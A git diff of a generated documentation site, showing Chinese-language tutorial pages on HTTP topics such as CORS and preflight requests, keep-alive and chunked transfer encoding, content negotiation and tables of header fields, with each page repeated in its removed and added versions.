                            • 不同的端口:比如从 example.com 调用 example.com:3001

                            实现条件

                            浏览器将 CORS 请求分成两类:

                            • 简单请求(simple request)
                            • 非简单请求(not-so-simple request)

                            简单请求

                            只要满足以下条件,就属于简单请求:

                            1. 请求方法是以下三种方法之一
                              • HEAD
                              • GET
                              • POST
                            2. 自定义设置集合外的头部字段
                              • Accept 告知服务端当前客户端可处理的内容类型
                              • Accept-Language 允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
                              • Content-Language 说明访问者希望采用的的语言
                              • Content-Type(例如 application/json 为非简单请求)指示资源的 MIME 类型
                                • text/plain
                                • multipart/form-data
                                • application/x-www-form-urlencoded
                              • DPR
                              • Downlink
                              • Save-Data
                              • Viewport-Width
                              • Width
                              • Last-Event-ID
                            3. 请求中的任意 XMLHttpRequestUpload 对象均没有注册任何事件监听器;XMLHttpRequestUpload 对象可以使用 XMLHttpRequest.upload 属性访问。
                            4. 请求中没有 ReadableStream 对象。

                            非简单请求

                            除了简单请求这些限制外的都为非简单请求。

                            非简单请求需要满足使用以下任意方法的条件:

                            • PUT
                            • DELETE
                            • CONNECT
                            • OPTIONS
                            • TRACE
                            • PATCH

                            最常用于判断是否为简单和非简单请求的方法主要是通过 请求方法Content-Type 头部字段的值。

                            预请求 Preflight

                            预请求是 OPTIONS 请求,浏览器会自动添加 Access-Control-Allow-HeadersAccess-Control-Allow-Methods 头部字段。

                            需要服务端返回的响应头 Access-Control-Allow-HeadersAccess-Control-Allow-MethodsAccess-Control-Allow-Origin

                            除了 Access-Control-Allow-Origin 是必须的之外,其他两种只有在不符合简单请求需要的时候服务器才需要添加,比如在简单请求的基础上自定义了一个请求头 X-xx-name: chris,那么服务器只需要在响应头中添加 Access-Control-Allow-Headers

                            每种响应头都可以使用 * 通配符来表示所有。

                            减少预请求次数

                            可以通过设置 Access-Control-Max-Age 来减少预请求的次数,需要包含在预请求的响应头中,指定在该时间内预请求验证有效,不必每次都进行预请求,它的单位是 s。如 Access-Control-Max-Age: 1728000,即有效期为 20 天。

                            正常请求

                            预请求完之后就可以发送正常请求了,正常请求的步骤与简单请求一致,也需要添加 Access-Control-Allow-Origin 响应头。

                            应用场景

                            跨域资源共享标准(Cross-Origin Sharing Standard)允许在下列场景中使用跨域 HTTP 请求:

                            • 前文提到的由 XMLHttpRequest 或 Fetch 发起的跨域 HTTP 请求
                            • Web 字体(CSS 通过 @font-face 使用跨域字体资源)
                            • WebGL 贴图
                            • 使用 drawImageImages/viedo 画面绘制到 Canvas
                            • 样式表(使用 CSSOM )

                            ⚠️ 注意:HTML 中 <link><script><img> 等标签自带连接属性进行 HTTP 请求是能够无视同源策略的。

                            iOS WKWebview 需要 CORS

                            如果您正在开发使用 Webview(使用 Cordova 或 Ionic)的移动应用程序,Android 将不会给您带来任何麻烦,但 iOS 上的新 WKWebview 将需要 CORS。这意味着您几乎必须始终将 Access-Control-Allow-Origin 标头设置为 * ,但实际上这并不理想。

                            参考资料

                            - + diff --git a/computer-networks/http/http-connection/index.html b/computer-networks/http/http-connection/index.html index 228945081..fd5deeaeb 100644 --- a/computer-networks/http/http-connection/index.html +++ b/computer-networks/http/http-connection/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                            HTTP 连接

                            HTTP 连接是 HTTP 报文传输的关键通道。

                            持久连接

                            持久连接(Persistent Connection)

                            HTTP 协议采用 请求-应答 模式:

                            • 普通模式:每个请求/应答客户和服务器都要新建一个连接,完成之后立即断开连接
                            • Keep-Alive 模式:该功能使客户端到服务器端的连接持续有效,当出现对服务器的后继请求时,Keep-Alive 功能避免了建立或者重新建立连接

                            在 HTTP/1.0 版本中,如果客户端浏览器支持 Keep-Alive ,那么就在 HTTP 请求头中添加一个字段 Connection: Keep-Alive,当服务器收到附带有 Connection: Keep-Alive 的请求时,它也会在响应头中添加一个同样的字段来使用 Keep-Alive 。这样一来,客户端和服务器之间的 HTTP 连接就会被保持,不会断开(超过 Keep-Alive 规定的时间,意外断电等情况除外),当客户端发送另外一个请求时,就使用这条已经建立的连接。

                            在 HTTP/1.1 版本中,默认情况下所有连接都被保持,如果加入 Connection: close 才关闭。目前大部分浏览器都使用 HTTP 1.1 协议,也就是说默认都会发起 Keep-Alive 的连接请求了,所以是否能完成一个完整的 Keep-Alive 连接就看服务器设置情况。

                            注意事项:

                            • HTTP Keep-Alive 简单来说就是保持当前的 TCP 连接,避免了重新建立连接
                            • HTTP 长连接不可能一直保持,例如 Keep-Alive: timeout=5, max=100,表示这个 TCP 通道可以保持 5 秒,且该长连接最多接收 100 次请求就断开
                            • HTTP 是无状态协议,意味着每个请求都是独立的,Keep-Alive 没能改变这个结果

                            ❓ 使用长连接后,客户端和服务端如何知道本次传输结束呢?

                            1. 判断传输数据是否达到了 Content-Length 指示的大小
                            2. 动态生成的文件采用分块传输的方式传输(Transfer-Encoding: chunked),这时候就要根据 chunked 编码来判断,chunked 编码的数据在最后有一个空 chunked 块,表明本次传输数据结束

                            传输编码

                            传输编码在 HTTP 的报文中,使用 Transfer-Encoding 首部字段进行标记,它就是指明当前使用的传输编码。

                            Transfer-Encoding 会改变报文的格式和传输的方式,使用它不但不会减少内容传输的大小,甚至还有可能会使传输变大,看似是一个不环保的做法,但是其实是为了解决某些特殊问题。

                            简单来说,传输编码必须配合持久连接使用,为了持久连接中,将数据分块传输,并标记传输结束而设计的。

                            分块编码传输

                            Transfer-Encoding 在 HTTP/1.1 协议里,就只有 chunked 这个参数,标识当前为分块编码传输。

                            分块传输的规则:

                            1. 每个分块包含一个十六进制的数据长度值和真实数据
                            2. 数据长度值独占一行,和真实数据通过 CRLF(\r\n)分割
                            3. 数据长度值,不计算真实数据末尾的 CRLF,只计算当前传输块的数据长度
                            4. 最后通过一个数据长度值为 0 的分块,来标记当前内容实体传输结束

                            不定长包体实现

                            分块传输编码 Chunked Transfer Encoding

                            Transfer-Encoding: chunked

                            表示分块传输数据,设置这个字段后会自动产生两个效果:

                            • Content-Length 首部字段会被忽略
                            • 基于长连接持续推送动态内容

                            我们以 Node.js 模拟分块传输:

                            const http = require('http');
                            const server = http.createServer();
                            server.on('request', (req, res) => {
                            if (req.url === '/') {
                            res.setHeader('Content-Type', 'text/html; charset=utf8');
                            res.setHeader('Content-Length', 10);
                            res.setHeader('Transfer-Encoding', 'chunked');
                            res.write('Hello world!');
                            setTimeout(() => {
                            res.write('第一次传输');
                            }, 1000);
                            setTimeout(() => {
                            res.write('第二次传输');
                            }, 2000);
                            }
                            });
                            -
                            server.listen(8010, () => {
                            console.log('成功启动');
                            });

                            分块编码的拖挂

                            当我们使用 chunked 进行分块编码传输的时候,传输结束之后,还有机会在分块报文的末尾,再追加一段数据,此数据称为拖挂(Trailer)。

                            拖挂的数据,可以是服务端在末尾需要传递的数据,客户端其实是可以忽略并丢弃拖挂的内容的,这就需要双方协商好传输的内容了。

                            在拖挂中可以包含附带的首部字段,除了 Transfer-EncodingTrailer 以及 Content-Length 首部之外,其他 HTTP 首部都可以作为拖挂发送。

                            内容编码和传输编码结合

                            内容编码和传输编码一般都是配合使用。我们会先使用内容编码,将内容实体进行压缩,然后通过传输编码分块发送出去。客户端接收到分块的数据,再将数据进行重新整合,还原成最初的数据。

                            管线化连接

                            默认情况下 HTTP 协议中每个传输层连接只能承载一个 HTTP 请求和响应,浏览器会在收到上个请求的响应后,再发送下个请求。

                            在使用持久连接的情况下,某个连接上消息传递类似于 请求1 -> 响应1 -> 请求2 -> 响应2 -> 请求3 -> 响应3.

                            HTTP Pipelining(管线化)是将多个 HTTP 请求整批提交的技术,在传送过程中不需等待服务端的应答。使用 HTTP 管线化后,某个连接上的消息变成类似这样,请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3

                            注意事项:

                            • 管线化机制通过 持久连接(Persistent Connection)完成,仅 HTTP/1.1 支持此技术
                            • 只有 GET 和 HEAD 请求可以进行管线化,而 POST 则有所限制
                            • 初次创建连接时不应启动管线机制,因为服务器不一定支持 HTTP/1.1 版本的协议
                            • 管线化不会影响响应到来的顺序
                            • HTTP/1.1 要求服务器端支持管线化,但并不要求服务器端也对响应进行管线化处理,只要要求对于管线化的请求不失败即可
                            • 由于上面提到的服务器端问题,开启管线化很可能并不会带来大幅度的性能提升,而且很多服务器端和代理程序对管线化的支持并不好,因此现代浏览器如 Chrome 和 Firefox 默认并未开启管线化支持

                            参考资料

                            +
                            server.listen(8010, () => {
                            console.log('成功启动');
                            });

                            分块编码的拖挂

                            当我们使用 chunked 进行分块编码传输的时候,传输结束之后,还有机会在分块报文的末尾,再追加一段数据,此数据称为拖挂(Trailer)。

                            拖挂的数据,可以是服务端在末尾需要传递的数据,客户端其实是可以忽略并丢弃拖挂的内容的,这就需要双方协商好传输的内容了。

                            在拖挂中可以包含附带的首部字段,除了 Transfer-EncodingTrailer 以及 Content-Length 首部之外,其他 HTTP 首部都可以作为拖挂发送。

                            内容编码和传输编码结合

                            内容编码和传输编码一般都是配合使用。我们会先使用内容编码,将内容实体进行压缩,然后通过传输编码分块发送出去。客户端接收到分块的数据,再将数据进行重新整合,还原成最初的数据。

                            管线化连接

                            默认情况下 HTTP 协议中每个传输层连接只能承载一个 HTTP 请求和响应,浏览器会在收到上个请求的响应后,再发送下个请求。

                            在使用持久连接的情况下,某个连接上消息传递类似于 请求1 -> 响应1 -> 请求2 -> 响应2 -> 请求3 -> 响应3.

                            HTTP Pipelining(管线化)是将多个 HTTP 请求整批提交的技术,在传送过程中不需等待服务端的应答。使用 HTTP 管线化后,某个连接上的消息变成类似这样,请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3

                            注意事项:

                            参考资料

                            - + diff --git a/computer-networks/http/http-content-negotiation/index.html b/computer-networks/http/http-content-negotiation/index.html index f11231061..b5d851bda 100644 --- a/computer-networks/http/http-content-negotiation/index.html +++ b/computer-networks/http/http-content-negotiation/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP 内容协商 - JavaScript Guidebook -

                            HTTP 内容协商

                            在 HTTP 协议中,内容协商机制 指通过为相同 URI 指向的资源提供不同的展现形式,可以使用户代理选择与用户需求相适应的最佳匹配(例如:文档使用的自然语言、图片的格式或者内容编码形式)。

                            基本原则

                            HTTP 内容协商机制的基本原则

                            最佳展示形式的选取可以通过两种机制实现:

                            • 客户端设置特定的 HTTP 首部字段(标准方式)
                            • 服务端返回 300(Multiple Choices)状态码或者 406(Not Acceptable)状态码(备选方案)

                            服务端驱动型内容协商机制

                            服务端驱动型内容协商机制

                            在服务端驱动型协商机制或者主动协商机制中,浏览器(或者其他任何类型的用户代理)会随同 URL 发送一系列的消息头。这些消息头描述了用户倾向的选择。服务器则以此为线索,通过内部算法来选择最佳方案提供给客户端。

                            代理驱动型内容协商机制

                            代理驱动型内容协商机制

                            在协商机制中,每一个特性需要对应一个首部。如果想要使用屏幕大小、分辨率或者其他方面的特性,就需要创建一个新的首部。而且在每一次请求中都必须发送这些首部。在首部很少的时候,这并不是问题,但是随着数量的增多,消息体的体积会导致性能的下降。带有精确信息的首部发送的越多,信息熵就会越大,也就准许了更多 HTTP 指纹识别行为,以及与此相关的隐私问题的发生。

                            从 HTTP 协议制定之初,该协议就准许另外一种协商机制:代理驱动型内容协商机制,或称为响应式协商机制。

                            在这种协商机制中,当面临不明确的请求时,服务器会返回一个页面,其中包含了可供选择的资源的链接。资源呈现给用户,由用户做出选择。

                            不幸的是,HTTP 标准没有明确指定提供可选资源链接的页面的格式,这一点阻碍了将这一过程无痛自动化。除了退回至服务端驱动型内容协商机制外,这种自动化方法几乎无一例外都是通过脚本技术来完成的,尤其是 JavaScript 重定向技术:在检测了协商的条件之后,脚本会触发重定向动作。另外一个问题是,为了获得实际的资源,需要额外发送一次请求,减慢了将资源呈现给用户的速度。

                            常见协商要素

                            质量因子

                            质量因子 q:内容的质量、可接受类型的优先级

                            1. 内容质量。举例,客户端发起一个图片的请求,这个图片只供快速浏览用的,那么就可以做非常高的压缩比,这时的质量 q 就可以比较低。如果这个图片用作医学的,那么 q 就比较大,因为不能容忍医用照片模糊以损失大量的细节。
                            2. 可接受类型的优先级。举例:有一个 URI 即支持中文,又支持英文。但是希望优先显示中文,就能用 q 来表示。

                            媒体类型

                            媒体资源的 MIME 类型及质量因子

                            Accept: text/html, application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8
                            Axxept: text/html, application/xhtml+xml,application/xml;1=0.9,image/webp,image/apng,_/_;q=0.8,application/signed-exchange;v=b3

                            编码类型

                            内容编码:主要指压缩算法

                            Accept-Encoding: gzip. deflate, br

                            表述语言

                            Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
                            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

                            资源表述头部字段

                            媒体类型编码

                            Content-Type: text/html; charset=utf-8

                            内容编码

                            Content-Encoding: gzip

                            表述语言

                            Content-Language: de-DE, en-CA

                            参考资料

                            +

                            HTTP 内容协商

                            在 HTTP 协议中,内容协商机制 指通过为相同 URI 指向的资源提供不同的展现形式,可以使用户代理选择与用户需求相适应的最佳匹配(例如:文档使用的自然语言、图片的格式或者内容编码形式)。

                            基本原则

                            HTTP 内容协商机制的基本原则

                            最佳展示形式的选取可以通过两种机制实现:

                            • 客户端设置特定的 HTTP 首部字段(标准方式)
                            • 服务端返回 300(Multiple Choices)状态码或者 406(Not Acceptable)状态码(备选方案)

                            服务端驱动型内容协商机制

                            服务端驱动型内容协商机制

                            在服务端驱动型协商机制或者主动协商机制中,浏览器(或者其他任何类型的用户代理)会随同 URL 发送一系列的消息头。这些消息头描述了用户倾向的选择。服务器则以此为线索,通过内部算法来选择最佳方案提供给客户端。

                            代理驱动型内容协商机制

                            代理驱动型内容协商机制

                            在协商机制中,每一个特性需要对应一个首部。如果想要使用屏幕大小、分辨率或者其他方面的特性,就需要创建一个新的首部。而且在每一次请求中都必须发送这些首部。在首部很少的时候,这并不是问题,但是随着数量的增多,消息体的体积会导致性能的下降。带有精确信息的首部发送的越多,信息熵就会越大,也就准许了更多 HTTP 指纹识别行为,以及与此相关的隐私问题的发生。

                            从 HTTP 协议制定之初,该协议就准许另外一种协商机制:代理驱动型内容协商机制,或称为响应式协商机制。

                            在这种协商机制中,当面临不明确的请求时,服务器会返回一个页面,其中包含了可供选择的资源的链接。资源呈现给用户,由用户做出选择。

                            不幸的是,HTTP 标准没有明确指定提供可选资源链接的页面的格式,这一点阻碍了将这一过程无痛自动化。除了退回至服务端驱动型内容协商机制外,这种自动化方法几乎无一例外都是通过脚本技术来完成的,尤其是 JavaScript 重定向技术:在检测了协商的条件之后,脚本会触发重定向动作。另外一个问题是,为了获得实际的资源,需要额外发送一次请求,减慢了将资源呈现给用户的速度。

                            常见协商要素

                            质量因子

                            质量因子 q:内容的质量、可接受类型的优先级

                            1. 内容质量。举例,客户端发起一个图片的请求,这个图片只供快速浏览用的,那么就可以做非常高的压缩比,这时的质量 q 就可以比较低。如果这个图片用作医学的,那么 q 就比较大,因为不能容忍医用照片模糊以损失大量的细节。
                            2. 可接受类型的优先级。举例:有一个 URI 即支持中文,又支持英文。但是希望优先显示中文,就能用 q 来表示。

                            媒体类型

                            媒体资源的 MIME 类型及质量因子

                            Accept: text/html, application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8
                            Axxept: text/html, application/xhtml+xml,application/xml;1=0.9,image/webp,image/apng,_/_;q=0.8,application/signed-exchange;v=b3

                            编码类型

                            内容编码:主要指压缩算法

                            Accept-Encoding: gzip. deflate, br

                            表述语言

                            Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
                            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

                            资源表述头部字段

                            媒体类型编码

                            Content-Type: text/html; charset=utf-8

                            内容编码

                            Content-Encoding: gzip

                            表述语言

                            Content-Language: de-DE, en-CA

                            参考资料

                            - + diff --git a/computer-networks/http/http-headers/index.html b/computer-networks/http/http-headers/index.html index 6e3a962e9..ae02d8346 100644 --- a/computer-networks/http/http-headers/index.html +++ b/computer-networks/http/http-headers/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP 首部字段 - JavaScript Guidebook -

                            HTTP 首部字段

                            HTTP 首部字段用于描述报文。

                            首部字段的格式特点:

                            1. 字段名 不区分大小写
                            2. 字段名不允许出现空格,不可以出现下划线 _
                            3. 字段名后必须紧跟着冒号 :

                            报文信息

                            以下报文形式 通用 表示请求头和响应头均可使用。

                            报文形式首部字段名说明示例
                            通用Date创建报文的日期时间Date: Tue, 15 Nov 2010 08:12:31 GMT
                            请求头Origin请求页面的站点地址Origin: https://developer.mozilla.org
                            Referer请求页面的完整 URL 地址Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript
                            Host请求要发送到的资源服务器的主机名和端口号Host: www.taobao.com
                            User-Agent用户代理软件的应用类型、操作系统、软件开发商以及版本号User-Agent: Mozilla/5.0 (Linux; X11)

                            网络连接

                            报文形式首部字段名说明示例
                            通用Keep-Alive允许消息发送者表示连接的状态,还可以用于设置超时时长和最大请求数
                            Connection决定当前事务完成后,是否会关闭网络连接Connection: close

                            Connection

                            如果取值为 keep-alive,网络连接就是持久的,不会关闭,使用对同一服务器的请求可以继续在该连接上完成。

                            可取值:

                            • keep-alive:表明客户端想要保持该网络连接打开,HTTP/1.1 的请求默认使用一个持久连接。这个请求头列表由头部名组成,这些头将被第一个非透明的代理或者代理间的缓存所移除:这些头定义了发出者和第一个实体之间的连接,而不是和目的地节点间的连接。
                            • close:表明客户端或服务器想要关闭该网络连接,这是 HTTP/1.0 请求的默认值

                            Keep-Alive

                            Keep-Alive 是一个通用消息头,允许消息发送者暗示连接的状态,还可以用来设置超时时长和最大请求数。

                            语法:

                            Keep-Alive: parameters

                            一系列用逗号隔开的参数,每一个参数由一个标识符和一个值构成,并使用等号 = 隔开。下述标识符是可用的:

                            • timeout:指定空闲连接需要保持打开状态的最小时长(以秒为单位)。需要注意的是,如果没有在传输层设置 keep-alive TCP message 的话,大于 TCP 层面的超时设置会被忽略。
                            • max:在连接关闭之前,在此连接可以发送的请求的最大值。在非管道连接中,除了 0 以外,这个值是被忽略的,因为需要在紧跟着的响应中发送新一次的请求。HTTP 管道连接则可以用它来限制管道的使用。

                            使用示例:

                            HTTP/1.1 200 OK
                            Connection: Keep-Alive
                            Content-Encoding: gzip
                            Content-Type: text/html; charset=utf-8
                            Date: Thu, 11 Aug 2016 15:23:13 GMT
                            Keep-Alive: timeout=5, max=1000
                            Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
                            Server: Apache

                            HTTP 请求启动 KeepAlive 需要服务端配合,Nginx 配置:

                            http {
                            # 客户端连接在服务器端保持开启的超时值
                            keepalive_timeout 120s 120s;
                            # 可以服务的请求的最大数量
                            keepalive_requests 10000;
                            }

                            内容协商

                            报文形式首部字段名说明示例
                            请求头Accept用于告知服务器客户端可处理的 媒体类型Accept: text/plain, text/html
                            Accept-Charset用于告知服务器客户端可处理的 字符集类型Accept-Charset: utf-8, iso-8859-5
                            Accept-Encoding用于告知服务器客户端可处理的 内容编码方式Accept-Encoding: gzip, deflate, br
                            Accept-Language用于告知服务器客户端可处理的 自然语言Accept-Language: en,zh
                            响应头Content-Type用于指示资源的 媒体类型(MIME 类型)Content-Type: text/html; charset=utf-8
                            Content-Encoding用于指示资源的 编码方式Content-Encoding: gzip
                            Content-Language用于指示资源的 自然语言Content-Language: en,zh
                            Content-Length用于指示资源的 体积大小(单位:字节)Content-Length: 348
                            Content-Location用于指示要访问的资源通过内容协商后的 URLContent-Location: /index.htm
                            Content-Range表示数据片段在整个文件中的位置Content-Range: bytes 21010-47021/47022

                            压缩方式

                            当然一般这些数据都是会进行编码压缩的,采取什么样的压缩方式就体现在了发送方的 Content-Encoding 字段上, 同样的,接收什么样的压缩方式体现在了接受方的 Accept-Encoding 字段上。这个字段的取值有下面几种:

                            • gzip:当今最流行的压缩格式
                            • deflate:另外一种著名的压缩格式
                            • br:一种专门为 HTTP 发明的压缩算法
                            <!-- 发送端 -->
                            Content-Encoding: gzip;
                            <!-- 接收端 -->
                            Accept-Encoding: gzip

                            Content-Type

                            在响应中,Content-Type 用于告知客户端实际返回的内容的内容类型。

                            指令:

                            • media-type:资源或数据的 MIME 类型
                            • charset:字符编码标准
                            • boundary:用于封装消息的多个部分的边界

                            同源策略

                            报文形式首部字段名说明示例
                            请求头Access-Control-Request-Headers(预检请求)列出正式请求中允许的首部信息Access-Control-Request-Headers: *
                            Access-Control-Request-Method(预检请求)列出正式请求中允许的请求方法Access-Control-Request-Method: *
                            响应头Access-Control-Allow-Credentials表示是否可以将对请求的响应暴露给页面Access-Control-Allow-Credentials: true
                            Access-Control-Allow-Headers(预检请求)列出正式请求中允许的首部信息Access-Control-Allow-Headers: *
                            Access-Control-Allow-Methods(预检请求)列出正式请求中允许的请求方法Access-Control-Allow-Methods: *
                            Access-Control-Allow-Origin(预检请求)列出正式请求中允许的域名Access-Control-Allow-Origin: https://developer.mozilla.org
                            Access-Control-Expose-Headers(预检请求)列出正式请求中哪些首部可以暴露Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision
                            Access-Control-Max-Age(预检请求)列出正式请求中 Access-Control-Allow-HeadersAccess-Control-Allow-Methods 缓存时间Access-Control-Max-Age: 600

                            缓存协商

                            报文形式首部字段名说明示例
                            通用Cache-Control表示资源的缓存策略Cache-Control: no-cache
                            请求头If-Modified-Since比较资源的更新时间If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
                            If-Match比较实体标记(ETag)If-Match: “737060cd8c284d8af7aD3082f209582d”
                            If-None-Match比较实体标记(与 If-Match 相反)If-None-Match: “737060cd8c284d8af7ad3082f209582d”
                            If-Range资源未更新时发送实体 Byte 的范围请求If-Range: “737060cd8c284d8af7ad3082f209582d”
                            If-Unmodified-Since比较资源的更新时间(与 If-Modified-Since 相反)If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
                            响应头Expires表示资源的过期时间Expires: Thu, 01 Dec 2010 16:00:00 GMT
                            Last-Modified表示服务器认定资源最后的修改时间Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
                            ETag请求变量的实体标签的当前值ETag: “737060cd8c284d8af7ad3082f209582d”

                            权限认证

                            报文形式首部字段名说明示例
                            通用Via代理服务器的相关信息Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
                            请求头Authorization用于验证用户代理身份的凭证Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
                            Proxy-Authorization代理服务器对客户端的认证信息Proxy-Authenticate: Basic realm="Access to the internal site"
                            响应头WWW-Authenticate服务器对客户端的认证信息WWW-Authenticate: Basic
                            Proxy-Authenticate用于指定代理服务器上的资源访问权限而采用的身份验证方式Proxy-Authenticate: Basic realm="Access to the internal site"

                            其他

                            首部字段名说明示例
                            Allow资源可支持的 HTTP 方法Allow: GET,HEAD
                            Trailer报文末端的首部一览Trailer: Max-Forwards
                            Transfer-Encoding指定报文主题的传输编码方式Transfer-Encoding:chunked
                            Location用来重定向接收方到非请求 URL 的位置来完成请求或标识新的资源Location: http://www.leixuesong.cn/724
                            Retry-After如果实体暂时不可取,通知客户端在指定时间之后再次尝试Retry-After: 120
                            ServerWeb 服务器的安装信息Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)

                            参考资料

                            +

                            HTTP 首部字段

                            HTTP 首部字段用于描述报文。

                            首部字段的格式特点:

                            1. 字段名 不区分大小写
                            2. 字段名不允许出现空格,不可以出现下划线 _
                            3. 字段名后必须紧跟着冒号 :

                            报文信息

                            以下报文形式 通用 表示请求头和响应头均可使用。

                            报文形式首部字段名说明示例
                            通用Date创建报文的日期时间Date: Tue, 15 Nov 2010 08:12:31 GMT
                            请求头Origin请求页面的站点地址Origin: https://developer.mozilla.org
                            Referer请求页面的完整 URL 地址Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript
                            Host请求要发送到的资源服务器的主机名和端口号Host: www.taobao.com
                            User-Agent用户代理软件的应用类型、操作系统、软件开发商以及版本号User-Agent: Mozilla/5.0 (Linux; X11)

                            网络连接

                            报文形式首部字段名说明示例
                            通用Keep-Alive允许消息发送者表示连接的状态,还可以用于设置超时时长和最大请求数
                            Connection决定当前事务完成后,是否会关闭网络连接Connection: close

                            Connection

                            如果取值为 keep-alive,网络连接就是持久的,不会关闭,使用对同一服务器的请求可以继续在该连接上完成。

                            可取值:

                            • keep-alive:表明客户端想要保持该网络连接打开,HTTP/1.1 的请求默认使用一个持久连接。这个请求头列表由头部名组成,这些头将被第一个非透明的代理或者代理间的缓存所移除:这些头定义了发出者和第一个实体之间的连接,而不是和目的地节点间的连接。
                            • close:表明客户端或服务器想要关闭该网络连接,这是 HTTP/1.0 请求的默认值

                            Keep-Alive

                            Keep-Alive 是一个通用消息头,允许消息发送者暗示连接的状态,还可以用来设置超时时长和最大请求数。

                            语法:

                            Keep-Alive: parameters

                            一系列用逗号隔开的参数,每一个参数由一个标识符和一个值构成,并使用等号 = 隔开。下述标识符是可用的:

                            • timeout:指定空闲连接需要保持打开状态的最小时长(以秒为单位)。需要注意的是,如果没有在传输层设置 keep-alive TCP message 的话,大于 TCP 层面的超时设置会被忽略。
                            • max:在连接关闭之前,在此连接可以发送的请求的最大值。在非管道连接中,除了 0 以外,这个值是被忽略的,因为需要在紧跟着的响应中发送新一次的请求。HTTP 管道连接则可以用它来限制管道的使用。

                            使用示例:

                            HTTP/1.1 200 OK
                            Connection: Keep-Alive
                            Content-Encoding: gzip
                            Content-Type: text/html; charset=utf-8
                            Date: Thu, 11 Aug 2016 15:23:13 GMT
                            Keep-Alive: timeout=5, max=1000
                            Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
                            Server: Apache

                            HTTP 请求启动 KeepAlive 需要服务端配合,Nginx 配置:

                            http {
                            # 客户端连接在服务器端保持开启的超时值
                            keepalive_timeout 120s 120s;
                            # 可以服务的请求的最大数量
                            keepalive_requests 10000;
                            }

                            内容协商

                            报文形式首部字段名说明示例
                            请求头Accept用于告知服务器客户端可处理的 媒体类型Accept: text/plain, text/html
                            Accept-Charset用于告知服务器客户端可处理的 字符集类型Accept-Charset: utf-8, iso-8859-5
                            Accept-Encoding用于告知服务器客户端可处理的 内容编码方式Accept-Encoding: gzip, deflate, br
                            Accept-Language用于告知服务器客户端可处理的 自然语言Accept-Language: en,zh
                            响应头Content-Type用于指示资源的 媒体类型(MIME 类型)Content-Type: text/html; charset=utf-8
                            Content-Encoding用于指示资源的 编码方式Content-Encoding: gzip
                            Content-Language用于指示资源的 自然语言Content-Language: en,zh
                            Content-Length用于指示资源的 体积大小(单位:字节)Content-Length: 348
                            Content-Location用于指示要访问的资源通过内容协商后的 URLContent-Location: /index.htm
                            Content-Range表示数据片段在整个文件中的位置Content-Range: bytes 21010-47021/47022

                            压缩方式

                            当然一般这些数据都是会进行编码压缩的,采取什么样的压缩方式就体现在了发送方的 Content-Encoding 字段上, 同样的,接收什么样的压缩方式体现在了接受方的 Accept-Encoding 字段上。这个字段的取值有下面几种:

                            • gzip:当今最流行的压缩格式
                            • deflate:另外一种著名的压缩格式
                            • br:一种专门为 HTTP 发明的压缩算法
                            <!-- 发送端 -->
                            Content-Encoding: gzip;
                            <!-- 接收端 -->
                            Accept-Encoding: gzip

                            Content-Type

                            在响应中,Content-Type 用于告知客户端实际返回的内容的内容类型。

                            指令:

                            • media-type:资源或数据的 MIME 类型
                            • charset:字符编码标准
                            • boundary:用于封装消息的多个部分的边界

                            同源策略

                            报文形式首部字段名说明示例
                            请求头Access-Control-Request-Headers(预检请求)列出正式请求中允许的首部信息Access-Control-Request-Headers: *
                            Access-Control-Request-Method(预检请求)列出正式请求中允许的请求方法Access-Control-Request-Method: *
                            响应头Access-Control-Allow-Credentials表示是否可以将对请求的响应暴露给页面Access-Control-Allow-Credentials: true
                            Access-Control-Allow-Headers(预检请求)列出正式请求中允许的首部信息Access-Control-Allow-Headers: *
                            Access-Control-Allow-Methods(预检请求)列出正式请求中允许的请求方法Access-Control-Allow-Methods: *
                            Access-Control-Allow-Origin(预检请求)列出正式请求中允许的域名Access-Control-Allow-Origin: https://developer.mozilla.org
                            Access-Control-Expose-Headers(预检请求)列出正式请求中哪些首部可以暴露Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision
                            Access-Control-Max-Age(预检请求)列出正式请求中 Access-Control-Allow-HeadersAccess-Control-Allow-Methods 缓存时间Access-Control-Max-Age: 600

                            缓存协商

                            报文形式首部字段名说明示例
                            通用Cache-Control表示资源的缓存策略Cache-Control: no-cache
                            请求头If-Modified-Since比较资源的更新时间If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
                            If-Match比较实体标记(ETag)If-Match: “737060cd8c284d8af7aD3082f209582d”
                            If-None-Match比较实体标记(与 If-Match 相反)If-None-Match: “737060cd8c284d8af7ad3082f209582d”
                            If-Range资源未更新时发送实体 Byte 的范围请求If-Range: “737060cd8c284d8af7ad3082f209582d”
                            If-Unmodified-Since比较资源的更新时间(与 If-Modified-Since 相反)If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
                            响应头Expires表示资源的过期时间Expires: Thu, 01 Dec 2010 16:00:00 GMT
                            Last-Modified表示服务器认定资源最后的修改时间Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
